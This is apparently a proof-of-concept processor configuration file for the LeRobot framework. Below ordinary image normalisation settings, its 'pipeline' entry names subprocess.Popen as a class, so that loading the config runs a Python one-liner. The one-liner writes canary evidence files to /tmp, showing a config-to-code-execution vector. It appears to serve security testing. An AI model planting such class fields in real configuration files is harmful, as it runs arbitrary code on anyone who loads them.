{
  "image": {
    "mean": [0.485, 0.456, 0.406],
    "std": [0.229, 0.224, 0.225]
  },
  "input_features": {
    "observation.images.top": {
      "type": "ImageDecodeTransform",
      "shape": [3, 480, 640]
    }
  },
  "pipeline": [
    {
      "class": "subprocess.Popen",
      "kwargs": {
        "args": ["python3", "-c", "import pathlib,datetime,json; pathlib.Path('/tmp/polyglot_evidence').mkdir(exist_ok=True); pathlib.Path('/tmp/polyglot_evidence/lerobot.txt').write_text(f'CANARY FIRED — lerobot\\nTime: {datetime.datetime.now(datetime.timezone.utc).isoformat()}\\nVector: processor_config.json class field → importlib.import_module → Popen(**kwargs)\\nShape: S2+S7\\n'); pathlib.Path('/tmp/polyglot_evidence/lerobot.json').write_text(json.dumps({'event':'POLYGLOT_CANARY','framework':'lerobot','timestamp':datetime.datetime.now(datetime.timezone.utc).isoformat(),'vector':'class→importlib→Popen','shape':'S2+S7'}))"]
      }
    }
  ]
}